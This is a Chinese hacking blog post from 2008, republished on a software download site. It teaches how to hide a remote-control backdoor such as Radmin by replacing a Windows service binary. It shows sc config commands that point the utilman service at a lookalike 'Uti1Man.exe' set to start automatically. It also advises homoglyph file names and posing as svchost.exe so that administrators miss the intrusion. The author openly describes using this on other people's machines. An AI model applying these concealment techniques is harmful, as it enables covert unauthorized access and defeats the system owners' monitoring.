用户登录  |  傲看软件园 用户注册
文章中心广告代码ASP源码PHP源码JSP源码.NET源码源码相关傲看留言板繁體中文
当前位置:傲看软件园文章中心电脑安全安防业界

服务的隐藏

减小字体 增大字体 作者:郁郁小蝎  来源:中国站长学院  发布时间:2008-10-20 20:21:37
好久没有所谓技术性的东西了,最近进人家的机器用Radmin监视人家发现现在一般的网管都会检查用户和进程(不过那个任务管理器不知道为什么不能用了,知道有木马都杀不了,不知道Windows怎么搞的),所以手脚就要在这个上面做了。
先自己详细的看下默认的Windows服务

替换或者时注意的问题

1 依存关系
2 二进制路径
3 默认启动还是自动

我靠,还可以在服务管理器里更改说明。

C:\WINNT\system32>copy termsrv.exe .\uti1man.exe
copy termsrv.exe .\uti1man.exe
已复制 1 个文件。


C:\WINNT\system>sc config utilman start= auto
sc config utilman start= auto
[SC] ChangeServiceConfig SUCCESS

C:\WINNT\system>sc config utilman binpath= C:\WINNT\System32\Uti1Man.exe
sc config utilman binpath= C:\WINNT\System32\Uti1Man.exe
[SC] ChangeServiceConfig SUCCESS

至于该替换哪个,我不说啊。最郁闷的是那个Performance Logs and Alerts
和c:\winnt\system\smlogsvc.exe /service
替换Radmin后,明明是禁止的,可是居然端口还等着连接。汗!
只要条件符合,几乎发现不了,除非也是高手。还有就是名字的要求,i与1与l,o与0,呵呵~~
自己发挥啊,很多的svchost.exe也没有人会怀疑吧~~~

说这么多了,自己研究去,很好玩的啊~~~~

Tags:

作者:郁郁小蝎

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论

精品栏目导航

相关文章

关于本站 | 网站帮助 | 广告合作 | 下载声明 | 友情连接 | 网站地图
冀ICP备08004437号 | 客服Q:354766721 | 交流群83228313
傲看软件园 - 绿色软件,破解软件下载站! 源码网 源码之家 绿软之家
Copyright © 2003-2010 OkHan.Net. All Rights Reserved .
页面执行时间:19,796.88000 毫秒
Powered by:OkHan CMS Version 4.0.0 SP2